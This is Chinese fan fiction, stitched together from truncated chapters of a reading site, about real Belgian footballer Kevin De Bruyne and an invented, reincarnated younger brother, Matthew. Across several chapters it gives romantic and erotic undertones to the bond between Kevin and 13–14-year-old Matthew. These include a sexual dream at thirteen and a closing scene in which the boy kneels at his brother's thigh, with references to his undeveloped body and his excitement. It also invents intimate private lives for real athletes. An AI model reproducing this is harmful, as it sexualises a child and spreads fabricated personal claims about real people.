时间不知不觉在指缝中溜走,最快乐的事就是和哥哥在根特或是亨克见面,因为爸爸妈妈最近生意上特别忙,为了支持他们兄弟俩的足球事业,爸爸妈妈经常带着妹妹从比利时飞到英国,再到非洲,满世界飞,把家族事业做大做强,为了让孩子们生活富足没有后顾之忧。 所以妹妹从小就形成了勇敢,活泼,调皮的性格。她经常捉弄两个哥哥,每到在家里相聚的日子,她总是藏起来让哥哥们找个够。 妈妈也特别配合她,总是对他俩说:“妹妹又不见了。” 他俩也乐此不疲的从屋前找到屋后,从橱柜找到床底,每次都 12. 库尔图瓦的邀请 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 凯文独立沉闷的个性也让他吃到了苦头。他因无法沟通被寄宿家庭赶了出来,住了一段时间的社会闲散人员收容所,这些他都没和家里说,直到他有足够的能力去当地的一所顶级运动学校需要递交申请时,家里才知道。 圣-詹姆斯学院可以提供世界上最好的两项内容——学业和足球。凯文得益于比利时“2000球员计划”,这是一个趋于现代足球改革的计划,是为国家队量身打造。 凯文无疑成为了这项计划的顶级天才之一,和他并肩作战的还有一位技术娴熟的边锋——埃登阿扎尔,当然也有小小年纪就长得人高马大的守门员库尔图瓦。 凯文仍为亨克效力,不同的是他终于有了靠谱的住宿、学习、训练和生活环境。 当马修来看他时,他骄傲地指着他的学校对马修说:“看,这就是我的大学,他真的很棒!我在这里学到了很多东西。” 马修看着那一幢幢高楼,有教学楼、宿舍、食堂、小公园,还有一个超级漂亮的球场。他一边走一边转圈,眼睛似乎看不够,嘴巴也张得圆圆的不时发出哇的声音。 他们在球场驻足,趴在球网上看向绿油油的草坪,晚霞悄悄爬上天边,映在他们一个冷白一个粉白的脸上。 凯文拍拍马修的肩膀,像个老师一样一本正经地教育他:“马修,我知道你最讨厌三种事情。” “嗯?哪三种?”马修歪着头抬着下巴看向他,哥哥的个子长得有点快,大概快1米8,而自己还不到1米7. “输球,被指挥和身材管理。” “啊……”马修若有所思的一项一项的点头认领,说到最后一项他眼睛发亮地突然发问:“哥哥,你在说你自己吧。” 凯文又伸手去捏他的后颈,他本能的缩起脖子,痒的咯咯笑。 “你说的没错,事实证明如果你不把自己变强壮,那些后卫就会把你生吃掉,像这样。”凯文一把抓住他的胳膊,对着那细皮嫩肉就一口咬了下去。 “啊!”马修本能地向后缩手臂,却被他牢牢地握住,直到在他的胳膊上印上鲜明的压印。 不疼,但很痒,马修忍不住又要笑,但看到哥哥一本正经扮成熟的样子,又不好意思破坏这美妙的气氛。 “还有,你虽然和我一样左右脚均衡,可以耍些小聪明,但核心力量不足,很容易被别人掀翻,在场上他们不会对一个小不点前锋留情的。” “哥哥,我才13岁,我可以再长高一点的。”马修挺直了背,抬手比量了一下哥哥的头和自己的头,差了一大截,哥哥怎么长得那么快,他心里嘀咕着。 很快他就弯起了眼睛,看着哥哥已经棱角分明的脸颊,鬓角修整地十分干净利落,发顶那一撮金色的发梢不听话地翘起,真的很像丁丁历险记里那个叫丁丁的小孩。 “傻笑什么。”凯文拍拍他的头,“唉……”他又发出一声轻轻地叹息,他知道弟弟马修的症结所在,即便是教给他不仅要在球场上凶狠也要在生活中凶悍,可他现在看上去一脸的人畜无害,怎么也想象不出他凶狠起来是什么样子。 “像这样。喝!”凯文眉毛和鼻子拧在一起,攥紧了双拳,脖子上的粗筋也紧绷了起来,张着嘴露出了尖尖的小虎牙,尽力做出一副凶狠的要吃人的表情,但在马修看来一点都不可怕,甚至还有些搞笑。 “哈哈……哈哈哈……”他实在忍不住捂着肚子笑出声来。 凯文顿时像泄了气的皮球一般垂下双臂,对这个天然呆弟弟无可奈何地摇了摇头。 “那么,你将来也会来这里的吧。”凯文变向提醒他不要不把他说的话当回事。 “嗯。”马修这么聪明他怎么会不知道,哥哥一直在鼓励他开导他,给他重新建立自信的勇气。 “我会的,哥哥!谢谢你!”马修仰起小脸忽闪着弯弯的睫毛,专注的眼神释放出强有力的信号,像个男人一样,有洞悉一切和扛住一切的本事。 凯文似乎从他闪亮的瞳孔中看到了两簇燃烧的小火苗,让他的心突然感到被热浪灼了一下,不好描述那是什么感觉(是心动呀~)。 这时,有两个人向球场这边走过来,一个瘦瘦高高脖子颀长的棕发男孩,一个身材匀称大眼睛高鼻梁的帅气男孩。 他们走过来和凯文亲切的打招呼。 “蒂博说的没错,你一定是来这里了。”大眼睛男孩笑着说道。 “那当然,凯文向来是三点一线,球场、宿舍、俱乐部。”棕发男孩饶有自信的说着。 “嗨!埃登、蒂博,给你们介绍一下,这是我弟弟马修。” 马修向他们点头问好。 “这位是埃登阿扎尔,这位是蒂博库尔图瓦。”还没等凯文说完,这两个大哥哥就把小家伙圈过来各自搂了一遍。 “你弟弟虽然长得不像你,但也很……漂亮,像一个东方瓷娃娃,这么说是不是不太合适。”库尔图瓦拥抱他的时候,单手就把他给拎到脚尖都快离地了,这会却在语无伦次地乱用词。 “晚上的聚餐,小家伙也要来吗?”埃登阿扎尔看向凯文,又看了看有点害羞的马修。 马修讨厌被叫小家伙,但此时此刻,只有他一个未成年人,他想。 “不了,马修还要回根特。”凯文替他做主。 “回根特的末班车好像是10点,吃个饭不耽误。”库尔图瓦发出邀请。 马修心里是想参加的,他想了解哥哥身边的朋友,因为哥哥口中只有他们两位没有别人,他们俩应该是他最好的朋友了吧。 “还是不要了,他还小。”凯文并没有征求他的意见而是直接替他拒绝了。 马修有一点点失望,但他立刻反应过来,他说自己还小,也就是说他们要去小孩子不能去的地方。 “那好吧,其实我可以和经理打个招呼,他家就吃饭而言还是蛮正规的。”库尔图瓦摊开手解释道。 马修没猜错,晚上吃饭的地方就是学院附近的酒吧。但他没机会进去,只好在酒吧门口和哥哥分开,哥哥给他叫了车,还给他买了根特有名 13.突破自我 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 这位带着浓重脂粉气面容姣好的小姐落座以后,她将身子前倾,胳膊肘拄在桌上,从兜里掏出一包香烟,熟稔的抽出一根放在自己的两片烈焰红唇上轻轻抿住。 “可以借个火吗?”她伸长了脖子面对凯文直言,说话间缓慢的眨了眨她密密层层的睫毛,显然她在对着凯文放电。 “没有,我不吸烟。”凯文耿直的回答。 “噢,我的天!”阿扎尔觉得凯文简直是在暴殄天物,这么美丽又丰满的大美女就在眼前他竟然无动于衷,连脸都不红一下,噢不,他脸红是喝酒喝的,刚才就这样。 阿扎尔看到美女脸色略有尴尬,随即打了个响指,“嘿服务员!” 一个端着盘子的男服务员走过来,在接收了阿扎尔递过来的20元小费后递给了他一个打火机。 阿扎尔接着凑过去要给美女点烟,美女只是伸出两根涂着红色美甲的手指从他手里夹走打火机,甚至连他的手都没有碰一下。 “谢谢这位绅士。”女孩长长的眼尾扫了他一眼。 对于18岁的男孩来说,被叫绅士就是对他们的一种称赞。 她嘟起嘴轻轻的吐出一缕烟丝,香烟是女士烟,带着浓重的玫瑰味儿,恰好是凯文最不喜欢的味道。 他唯恐避之而不及,往后仰了仰身子,轻皱起了眉。阿扎尔抬起胳膊肘怼了怼他,在他耳边悄悄说:“看样子这美女对你有意思。”凯文撇撇嘴表示自己并不在意。 这时,库尔图瓦耷拉着脑袋一幅打了败仗的样子回来,看到自己座位上赫然坐着一个大美女,不禁两眼放光,随手扯过一把椅子坐在她旁边,并问她有没有兴趣与自己喝一杯。 交谈了几句,库尔图瓦和阿扎尔就暴露了身份,因为他们认为职业球员是他们的加分项,这里没人不爱足球。阿扎尔甚至告诉她下次国家队召集就会从电视上看到我,当然如果你看法甲的话,也会看到我的。 对此,库尔图瓦只好咬牙切齿的羡慕嫉妒恨,然后不停地给美女倒酒。 对于他俩的献殷勤,美女无动于衷,只把目光放在对面那个敞着腿漫不经心的人身上。 越是这种对她爱搭不理,无视她逆天美貌,还拽拽的奶油小生,越是戳她心巴,她竟然还叫出了他的名字,凯文德布劳内。 这让那俩人更为震惊,好像比起凯文,我俩很有名,甚至更帅吧。 美女留下了一张名片,对他们说:“如果你们来布鲁塞尔的话,可以联系我,我的工作在那边。” 正当两个好奇的家伙在想她是做什么工作的时候,她转头向她的伙伴们招了招手,继续说道:“这次是来亨克取景,我是一个演员,如果你们看电影的话,就不会不知道珍妮特·莫里斯。” 相对于阿扎尔的炫耀,美女也狠狠地回敬了他,在他们瞪大眼睛表示不可思议的神情中,美女飘然而去。 她回去后立刻遭到了她随行朋友们的起哄,好像打了一个赌没有赌赢,她的眼神依旧落在不远处的凯文身上,喝下一杯朋友递过来的红酒。 凯文无心看美女,也不是自己迟钝,大概不喜欢这种存在感太强的类型,也许婉约聪慧的更吸引自己。他一直在盯着手机,这时手机屏幕亮了亮,一条信息发过来: “哥哥,我到了,请放心。” 凯文嘴角悄悄上扬,回了一句:“好的,记住我对你说的话,好好努力吧!” “嗯,我记住了!哥哥你要早点回去,我会担心。” 看着“我会担心”这句话,好像有一颗星划过了他的心脏,将他的心房照亮了一下。 回到寄宿家庭的马修放下手机,把脸埋在柔软的枕头里,这一夜他失眠了,闭上眼睛好像躺在哥哥温柔的目光里,那水蓝色的双眸在看向他时仿佛时间都静止了,让他心里燃起了不安的小火苗。 射门…庆祝…拥抱…亲吻…滚床单…他眼前似乎又出现了杂乱无章的画面,或许是梦境的碎片,当他醒来看到落在床单上斑驳的树影,就知道自己做了一个很不可思议的梦。 * 根特会议室里正在开一个季前赛动员会。他们在讨论新赛季球员的使用问题,终于有人提到那个年龄最小拥有一双妖异眼睛的马修,当然引起他们注意的不是他瞳孔的颜色,而是同样妖异的双脚。 作为球队经理,丹尼尔在球员考察上可谓是独具慧眼,刚才讨论的几个核心球员均是他从根特各个俱乐部搜刮来的,当然也包括小小的马修。 “那孩子真的很特别。”丹尼尔对根特一队主教练霍特斯说道。 “噢,抱歉,丹尼尔,我知道他是你带来的,但我只能说他比较均衡,或者说他在同龄人中算得上出类拔萃,但还谈不上特别。”霍特斯是一个有主见的教练,他喜欢遵从自己的想法并直言不讳。 “em,霍特斯先生,或许你可以给他一个机会试试。” “我会考虑你的建议,经理。”他似乎对球队经理参与球员调配问题上不太满意,“但机会太宝贵。”他坦言道。 新的赛季,马修仍然坐在板凳上,靠近饮水机的位置,像一个饮水机管理员,或许真的是,他经常给场上球员接水递水,再收拾散落一地的水瓶子。 节约是根特一惯的传统,有一个不上场的球员索性就把场上的琐碎活干了还不用付工资是一件很划算的事,这一点也没人替他声张,只有丹尼尔看不惯,他在一场比赛后找到了马修,把他叫到了更衣室外面。 “马修,不要以为你干了设备管理员的活就能领到双份工资。” “这……我知道。”马修挠挠头。 “唉,好吧,这跟你无关,我的意思是说,你要争取上场的机会,当初在德龙恩的时候,你是怎么踢球的,现在怎么可以埋没呢。” “对不起。”马修低下头。 “好吧,这或许也和你无关。”丹尼尔抬手扶了扶自己的金框眼镜,把手搭在他撑起球衣一角的肩膀上,“但和我有关。你可是我选进来的,你听说过我的外号吗?叫老鹰,看人比看猎物还准!” “谢谢你,丹尼尔先生!我不会放弃的。” “啥?不放弃啥?” “永远保持进攻,先从争取上场开始。” “唉,好吧,你还小,不过马修我警告你,离那该死的饮水机远点!” 要一个13岁的孩子找回自信你可以给他买一个雪糕吃,但是对一个27岁的不大不小的男人来说,重拾自信这鬼玩意到底要从 14.国家队初体验 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 德布劳内家庭就跟买彩票一样老是中大奖,喜事一个接一个的。19岁的凯文在为21岁以下国家队打了两场精彩的比赛后,被招入成年队,打算参加一场与芬兰的友谊赛。 虽然是友谊赛,但这可是凯文第一次为国家队披挂上阵。将与他一起来到布鲁塞尔的是主教练利肯重新组装的新球队,他们是比利时足球光明的未来——后卫孔帕尼和维尔通亨,中场德布劳内和维特赛尔,以及前锋阿扎尔和卢卡库。 但这并不是凯文一直梦想的国际大赛中的首次亮相,马修是知道的。因为凯文19岁被招入国家队马修前世就知道,这一世也如此吻合。他会在这场比赛中受伤!马修不想看到他受伤! 他知道这是一场艰难的比赛,而凯文遭受了国际大赛中的第一场彻头彻尾的失败和伤痛,他可以阻止这一切吗?如果像掐灭一个烟蒂那么简单就好了。 他们送他来到布鲁塞尔,在国家队训练营门口分别。一路灰暗的天空延伸在空荡荡的大街小巷,车子在通往凯文未来的梦想之路上,也同样经历了颠簸。 原来,哥哥的成名之路并不是一帆风顺的,我可以做些什么来帮助他躲开这些厄运,这一路马修闷闷不乐,他把刚洗过的衣角搓的有些泛白,他想说些什么,又不知该怎么说。 两人在训练基地门口拥抱分别。 “哥哥,你要小心一点,我担心……” “没什么好担心的马修。”凯文自信的说,“我们不能因为害怕就不前进。” 这让马修无言以对,他可以对他说,凯文,前世的这场比赛你受伤了,你能不能不上这样的话吗。凯文一定会认为他疯了。 “哥哥……”马修这一路心都在忐忑,现在更是急的快哭了。 凯文松开他的肩膀,揉了揉他蓬松的卷发,像爱抚和逗弄一只小猫那样,对他说:“怎么了,因为不能陪我一起感到难过吗?马修,我会在这里等你,你要好好努力,早点来和我相聚!” “我会的。”马修点点头。想快点长大的心情已相当迫切,什么时候才能守护在你身边,为你撑开挡住一切灾难的那片蓝天。 虽然前世的轨道大部分和今世重合,也有一些稍稍的偏离,比如哥哥在亨克没有经历那段板凳的折磨,而是跑到了在根特的自己的身上,那可不可以让我来替他承受这次脚踝的受伤。 凯文背着包转身走进训练营,背对着他抬起手臂在空中挥了挥。 “要注意!芬兰的防守!”马修大声喊道。 凯文停下脚步回头看他。 “我是说,不要让他们靠近你!我只是不想你受伤!”马修撕扯着他变声期的破音对着凯文再次喊道。 凯文再次挥了挥手,走进了面前的那幢大楼。 马修被爸爸揽进怀里,揉了揉他稚嫩但坚硬的肩膀,对他说:“放心吧,凯文有数,我们不可以太干预他的情绪,这样会束缚住他的。” 马修咬着嘴唇,仍担心的要命。 挫折只会让我变得更加坚强。凯文知道这次不会那么顺,因为比赛从一开始就在硬碰硬。而比利时这支新组合的队伍,还在磨合中磕磕绊绊。 就在比赛的第12分钟,文森特和门将配合失误,不慎将球打进自家网窝,0:1芬兰。 凯文双手拄着膝盖,无奈的看着这一切,才12分钟,第一个疲劳期刚刚过去不久,接下来可以做些什么来扭转局面? 他看着场上有些陌生的队友,目光伸向远方,当摄像机扫过来的时候,显得是那么的稚嫩又茫然。 与此同时,马修在俱乐部礼堂观看这场比赛,自始至终手心里都捏着一把汗。仅仅是一场友谊赛而已,输了也没什么大不了,但他知道,哥哥和他一样,那三个不喜欢的事情里,输球永远排在第一位。 就在上半场快结束时,马修突然感到心尖上一阵痉挛,好像被人用力抓了一下,沉闷的刺痛从心脏蔓延到指尖。他闭了一下眼睛,睁开时就看到凯文的进攻被对方连人带球铲出边线。 过了一会,凯文站起来,揉了揉脚踝表示自己没事,可是下半场,教练还是把他换了下来。 他看到凯文把球衣套在头上,遮住自己的脸,脚踝处绑着一个冰袋,小小的球衣下好像还看到了他深藏着的轻轻耸动的肩膀。 马修的心好痛。他双手合十,闭上眼睛祈祷,可上下两片睫毛刚触碰到一起,就扑簌簌地扇下两行热泪来。 马修不想看了,他偷偷溜出去,跑到厕所里看着镜子中14岁的自己,脸上那明显的泪痕一直延伸到脖子里,怎么办,好后悔让他去,假如自己在他面前耍赖皮不让他去会不会阻止他,唉,想了半天,仍没有个答案。 马修一直认为自己的重生是为了他而生,可自己到底要做些什么,天哪,如果说这14年,凭借自己的预知,他们顺利的走进比甲队伍,哥哥又顺利地进入了国家队大名单,回首过去,都是快乐幸福的日子,那接下来该怎么办? 马修请假回家了,和他一起回家的还有因伤退赛的凯文,接下来的2场友谊赛他不在名单里。 回到家,马修立刻询问他的伤势,凯文摇了摇头,轻飘飘地说没事。 晚上,马修再次把他的脚抱在怀里,专心地用手心研磨他受伤的脚踝,前世他什么都会做,包括基础的理疗,没想到现在派上了用场。 哥哥说:“不要紧。我知道对面的放铲,这已经是最轻的保护性伤害了。” 马修不理解,什么是保护性伤害,他瞪大眼睛看着哥哥,难道哥哥就想硬碰硬吗?这已经是他保护自己的最佳方式了吗?他忽然想起来,自己没记错的话凯文第一次代表国家队出征,是韧带撕裂,现在只是脚踝扭伤,肿起一个大包,上面还有鞋钉冲撞落下的点点淤青,不过相对于韧带撕裂来说,这确实是轻了许多,难道是自己的叮嘱管用了? 他抬眼看看凯文,想从他眼睛里找到答案。 “嘶……”凯文紧了紧鼻子,做了一个吃痛的表情。 “哥哥,你疼了?”吓的马修像被烫了手一样赶紧从他的脚踝处移开手并举了起来。 “嘻嘻,逗你的。” “呼……”马修松了一口气,却笑不出来。 凯文似乎看到他卷毛下一双隐藏的猫耳朵都跟着垂了垂。 “说了是保护性伤害了,别太担心了,以后我会小心点的。” 好神奇,当马修的手再次覆盖在他的脚踝处,把冰凉的 15.第一次对弈 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 马修对凯文在国家队的受伤一直难以释怀。他常常在餐桌上发呆,到底要怎样才能跟在哥哥身边去保护他呢?好想跟着他一起去亨克,可不可以把我也装进那个大大的行囊里。 不知不觉间,青春期的他变得多愁善感起来。驾驭这躁动不安的身子真的很费劲,他感到无所适从,甚至喜怒无常,所以他经常躲在餐厅的角落里发呆。 他时常怀念起和哥哥一起在德龙恩训练的日子,虽然哥哥在一队,他在二队,但也会在球场遇到,隔着护球网看向对方。 结束一天的训练后,两个人总是相约一起回家,哥哥经常牵着他的手和他一起绕过小镇的一片菜园往家的方向跑,路过菜园时,还会调皮地偷偷薅一把小番茄给他…… 那些美好和幸福的时光,像一片片树叶在他小小的脑袋里兜兜转转,记载下他们成长的点点滴滴。 一想到这些他就举着汤勺一个人在那傻笑。 也许得益于自己前世的经历或是那些莫名其妙的预见,从小到大,或者说从他能跑能跳开始到哥哥离开德龙恩,这段时光就没有磕磕碰碰,有,也能轻松化解。 自从哥哥去了亨克,一切都不受控制了。好多命运里的“坎儿”相继出现,比如和寄宿家庭闹僵被连人带包的赶出来,和队友不和被孤立甚至被暗算,被教练骂态度差没收他的队长袖标,因为讨厌健身被体能师关在健身房里要求加训等等。 这些凯文从来不说,但马修和他心有灵犀,就好像和他牵着一根线一样,有什么风吹草动都会引发马修心脏小小的颤动。 一想到这,他又蹙起了眉,好像今天的饭很不合胃口。 不过,这让他有理由经常跑去亨克,每次都会做一份暖心餐给哥哥,再陪他聊天,给他按摩,和他挤一张床睡觉。 他相信哥哥也是如此期盼着,每周或每两周的见面。哥哥总会摸着他的头笑他傻,笑他笨,他被说急了还会冒出一些奇奇怪怪的话,说自己从外太空穿越而来,知道哥哥早晚会再被国家队召集,而自己也会成为年龄最小的国家队成员。 每次说到这,哥哥都会蜷起手指轻敲他的头,并挑着眉毛自信的说:“还用你说,那是早晚的事!” 每次快乐的相聚都好像给自己注入了新的能量和信心,让自己满血投入到枯燥刻板的训练中去。哥哥也变得越来越乐观,越来越有力量,他常常做出令人瞠目结舌的事情来,比如手术刀一样的妙传和一颗被射爆掉的足球。 或许是足球在他们之间串起了美妙的连线。兄弟俩聊起足球和梦想,总是有那么多话。在外面,他俩一个比一个话少,马修虽然在德布劳内家长大,是德布劳内家的二宝,可他长的和他家里人没一点像,性格也孤僻的很,有时看上去一点也不像小孩,好像城府很深,有很多故事的成年人。 凯文有时候逗他,“你怎么像个老头子,只会说嗯,我知道了,我会的。但唯独哥哥叫的好听。” “我……”马修总是被问道窘迫而不能言语。 但他们聊到足球,两人无话不谈。 “未来,我们都会去五大联赛吧!”凯文和他挤在小小的单人床上,畅想着未来。 “会的。”马修把手垫在脑后,看着天花板回应他。 “我去哪,你也要去哪。”凯文命令他。 “嗯。我会的。”他答应着,“不和哥哥做对手。” “哈哈,你不是我的对手。” “嗯,哥哥厉害!”他把被子拉过头挡住因为夸赞他而涨红的脸。 凯文会大大方方地亲吻他的额头,然后连被子带人一起搂个结实,大腿一抬压在他身上,像抱着一个大玩偶,温柔又霸道的哄他入睡。 甜蜜而温馨的日子随着凯文的再次出征而渐渐变成马修脑海中不断唤起的回忆。 他时常被困在回忆里,不肯往前迈步,可不成长怎么去追哥哥呢,要快点进步才行。 * 凯文这次出发可谓是一飞冲天,势不可挡。 亨克俱乐部在他没来的时候曾拿过两次冠军,但那是好几年前的事儿了。 凯文的球探范克罗斯是亨克的经理,这些年他十分关注这些在他手底下悄悄成长的孩子们。 有的因为长不起来个儿而被淘汰,有的因为跟不上训练强度而退出,有的因为觉得有更好的发展而跳槽等等,所以队伍一直不太稳定,“蓝精灵”排名忽高忽低,近五年最好的成绩是排名第三。 但今年范克罗斯感觉很好,在他挑选的3个前锋身后,有一名正在火速成长的年轻巨星。 范克罗斯把凯文叫到办公室,告诉他:“凯文,这是你的球队,尽管你现在才19岁,但在这里已经是一个老人,7年了,你的成长你自己也知道,所以,我和主教练达成一致,把球队交给你,给你所有的自由,你需要在那里完成你的创造。” 凯文太爱这次对话了。自由——是他在球场上唯一想要的。他终于有机会用自己的方式踢球了。 他感谢范克罗斯,在走出办公室时迎面吹来一阵凉爽的风,风中夹杂着甜甜的味道,让他顿感神清气爽,好像有一股力量在他心胸中喷薄欲出。 很快,他在新赛季一开始就展示了令人难以置信的华丽足球。 上半程打的非常顺,几乎没有输球,积分遥遥领先。包括对阵马修所在的根特,3-0拿下。 那一场,马修只出场了十分钟,就在那十分钟里,被亨克完成了最后一粒攻入。 这粒进球不是别人,正是他哥哥凯文在左翼的一次抢断,左右脚两次快速触球后,他的劲射越过扑上来的守门员,直入网顶。 在他身后不远处的马修看傻了。这个进球实在是太精彩了,要不是在场上和他穿不一样颜色的衣服,那他简直都要蹦起来举双手为他欢呼:“哦豁,凯文,你是我的神!” 凯文和队友庆祝的时候,队友开玩笑的说:“太简单了!对面就是一颗白菜!”今天的根特为了避开和主队颜色相仿,没有穿蓝白 16.红牌or黄牌 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 答应归答应,一上场可就没有收着踢这一说法了。不仅没有收着踢,还越踢越奔放。 凯文就像一头固执又傲慢的狮子王,在场上自由度非常高,一会左翼一会右翼一会又来到中场,谁也无法看住他当然也阻止不了他一次次撕破防线,把球送入禁区。他进攻的残忍指数直线上升,不一会就组织起群狮围猎,打的布鲁日节节溃败,上半场领先2个球. 他完全忘记了答应过马修要收着踢这件事,而且越踢越兴奋。 刚训练回来的马修在电视机前越看越紧张,很快,凯文就因为一次愚蠢的拉拽球衣吃到了一张黄牌。 “大家都冷静下来!”教练丹尼尔在场外大喊。 然而凯文没有听见,他正因为黄牌的事在和裁判理论。 千万不要冲动。马修在心里都快喊出来,他不想哥哥受到批评,不想看哥哥难堪,也不想哥哥赛后因为红牌受难为。 裁判警告他,再不服判罚就掏红牌了,凯文表情猛地一滞,好像忽然反应过来什么,接着就捂住了自己的嘴巴。 “对不起。”他闷声说道,接着跑回位置,继续投入比赛。 呼……马修这才松了一口气,看来哥哥想起来自己叮嘱过他的话,自己还是有点用处的,他想。 阻止了哥哥领红牌让他开心的无以言表,不知道该向谁分享这份喜悦。 然而很快他就笑不出来了。在他们对阵布鲁日的时候,对方好像和根特有仇似的,逮住这个83分钟才上场的马修德布劳内好一顿羞辱。 马修相比起哥哥更像一只猎物,一只少见的前锋猎物,被布鲁日的后卫接二连三的生吃掉,连渣都不剩。 他们在那个德布劳内面前没有吃到甜头,在这个德布劳内身上找回来! 但这个德布劳内也不是那么容易被打倒的。他想起哥哥教给他要坏一点,好,那我就坏一点。 他在禁区左侧突然得到了传球,打算快速进攻。但对面一个大块头后卫已经贴在他身上了,他个子小体重轻卡身位不占优势,于是他外脚背一拨闪出一个身位来假装要射门,那壮汉跳起来挡球,他又把球给拉到了左脚,壮汉突然意识到自己被戏耍,再想去封堵为时已晚,于是伸手拉住了他的衣领。 马修几乎被他提着向前冲了两步就带不动了,他烦气的从他手底下绕了一圈,像一块沾了水的肥皂顺着那人手心里滑了出来,接着抡起一脚,可惜身子不太稳这一脚没吃准部位,踢呲了,但是却结结实实地踢在那个大块头的屁股上。 那人嗷的一嗓子就捂住屁股向前跳了好几跳,然后趴在地上揉屁股。 马修没忍住当场笑出声来。 对面可不乐意了,他们认为这个小孩在耍花招,并且做出危险动作,是个爱捉弄人的坏小子。 于是对方一大帮人围过来,向裁判要个说法。那时还没有var,再说马修先踢到球再踢到屁股也不至于掏黄牌,可这群青年们不依不饶,就算裁判不掏牌也要吓唬吓唬这个14岁就来耀武扬威的小孩,挫挫他的锐气。 根特这边也不是吃素的,这场0-0的比赛打的异常沉闷,被布鲁日压着打本来就窝着火,这为数不多的几脚射门还遭到如此粗暴的拉拽,你们还有理了? 输球也不能输人。 于是因为一个踢屁股的动作双方吵的不可开交。连布鲁日的教练也跑过来指责这个看上去一脸无辜的“肇事者。” 马修又想到哥哥教给他要坏一点,他在对方教练推搡他时不经大脑对着他脱口而出:“你这个秃驴,推我干嘛?” 这一句话差点引发双方抡锤。最后裁判给了马修和对方教练一人一张黄牌了事。 赛后,马修低着头有些不好意思,这是他参加正式联赛中的第一张黄牌,是因为骂对方教练秃驴得到的。退场时,他害羞到不敢看自己队里头上同样没几根毛的助教。 更衣室里,他安静的坐在角落里,希望没人看见他。然而进进出出的队友们每个人在路过他时都揉搓了一把他的头发。他是最小的,也是存在感最低的,虽然表现足够出色但还是替补出场的时候多,毕竟他还小,大赛经验不足,这场也是快结束了才上,还拿了个黄牌。 摸他头发的大概有两种人,一种是觉得他可怜向他表达一下安慰,另一种是觉得他好笑,竟然也有急了骂人的时候,平时安静的像个兔子只知道闷头吃草不知道要提防老鹰。 他哥哥就不一样了,在亨克称王称霸呢。刚打赢了一场酣畅淋漓的比赛,凯文回到更衣室里,这时马修也上了大巴准备返程。 凯文打开手机看几乎和他们同时完赛的根特,回看到马修领了黄牌,在更衣室里笑的前仰后合,队友问他看什么那么开心,他说:“我家小马修终于学会咬人了。” 啊?咬人?队友听完,暗戳戳地怀疑德布劳内不教他弟弟好,看上去挺正常一人,怎么看他弟弟咬人还这么开心呢。 “不是真的咬人,只是敢在大赛中对抗和反击罢了。”凯文面对队友投来的诧异眼神,欣慰的笑笑,随即拨过去电话。 响了两声那边就接起来,凯文开门见山地调侃他:“马修,恭喜你长大了。” “啊?”马修一愣,接着反应过来,舔了舔有些干涩的嘴唇说道:“哥哥,你别笑话我。” “哈哈,我高兴都还来不及,还笑话你。” “因为弟弟拿了黄牌而高兴可真是个坏哥哥。” “哈哈哈……”凯文这次笑的更加放肆。 “哈哈……”马修知道哥哥想说什么,他期待着他给他上课。 果然,凯文收起玩笑的语气,开始教育他:“马修,你做的很好,很冷静,也很聪明,这一场给你上了一课,以后还会有各种各样的挑战,甚至是刁难,你就用你的方式去反击,不要怕黄牌,该狠就要狠。” “嗯,我记住了。不过,哥哥,咱俩一人一张黄牌,总好过一个人拿俩换张红的。”马修在想,本来凯文身上的红牌变成一人一张黄,还怪好的嘞,我还是有点用处的。 可马修不识趣地提这一茬,搞得凯文瞬间想起自己差点染红的窘迫,他板起脸来凶他:“小马修,我在这教你,你却拿我的黄牌来说事,回去打屁股!” 是的,哥哥的权威不可挑战,马修挂了电话还是忍不住想笑,他这个骄傲又霸道的哥哥,真的是天下独一无二的,可当他听到凯文说要打他屁股,就莫名其妙的感到嗓子发干。 * 这一人一张黄牌说来也不是什么重要的事,但是却好像给他们在各自队伍里打开下一个阶段按下了一个开关。 凯文开始做他更擅长的事,创造进球,为队友为自己。 马修也刻苦训练,健身,像哥哥 17.比甲冠军 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 他拍了拍自己的大腿。 马修错愕地瞪大了眼睛,他确信自己没有听错,他说“过来,趴这。” 他还从来没有命令过自己,不,他命令过,那些都是教给他怎么踢球,生活中顶多是让他干点活而已,这次这个命令,怎么有点奇怪。 凯文对他点了点头,继续命令他:“需要我再说一遍吗?” 他条件反射般的站起来,倒不是因为害怕凯文的威严,而是他这个命令让自己难以抗拒,说不怕也是假的,凯文才19岁但也有着他猜不透的成熟和睿智。 他走近了些,凯文不得不仰着头看他,“要让我用这个视角看你吗?”凯文雪白的脸上看不出什么情绪,他说话的语气也猜不透是认真的还是开玩笑。 马修蹲了下来,接着被凯文按住了肩膀,一用力他就双膝着地,身子不由得向前倾去。 凯文又握住他肩膀,抬手扣住他后脑,把他的头自然地放在自己的大腿上。 他的脸就贴在凯文毛茸茸的大腿上,思绪一片空白,刚才说的啥来着,不是要给他打一针强心剂,此时此刻却只听得见自己咚咚的心跳声,好像一针强心剂打在自己身上了。 凯文轻柔地抚摸着他半干的卷发,又用手指轻轻捻着他的发丝,好像爱抚一只趴在他大腿上睡觉的猫咪。 这只猫咪一动也不敢动,生怕主人厌倦了他抽身离去,两只爪子也放在主人雪白的大腿上。 凯文似乎对他的反应很满意,但他不说话,维持着这样一种居高临下的姿势,没有丝毫的愧疚感。 过了一会,凯文估计他跪的累了,终于开口道:“马修,你真的很乖,也很聪明,很知道为我着想。” 马修不敢抬头去看他的眼睛,因为他脸上的热度在灼烧他的眼眶,此刻自己的脸一定会出卖自己,像一个烂熟的番茄会让人浮想联翩。 自己的身体已经14岁了,青春期的躁动早就提醒着他要变成一个男人了,可第二性征还没有发育,身上连一根毛都没有。心理年龄已经28岁,算起来,比凯文大太多了,怎么会如此顺从甚至还有点兴奋的跪在他面前。 凯文看他趴的老实,又用手背抚摩了一下他的侧脸,接着挑起了他的下巴,暧昧难懂的目光交织在一起。凯文缓缓开口道:“你刚才说的我都懂,我们都要去学会接受比赛的任何结果。你是不是特意跑来告诉我,要承受住失败的打击?” “不是的。”马修跪的很好,没有动,他其实想对他说,凯文,你会夺冠的,不要在意夺冠路上的那些硌脚的小石子,踢开它就好。 “那是什么?”凯文看着他的一双异瞳,突然感到一阵心慌,他黑色的瞳孔深不可测好像要把自己看穿,蓝色的瞳孔却在释放丝丝柔情让人有一种想要靠近的冲动。 “是…来给你加油的。” “就这么简单?” “嗯。” “你是想提前为我疗伤吧。” 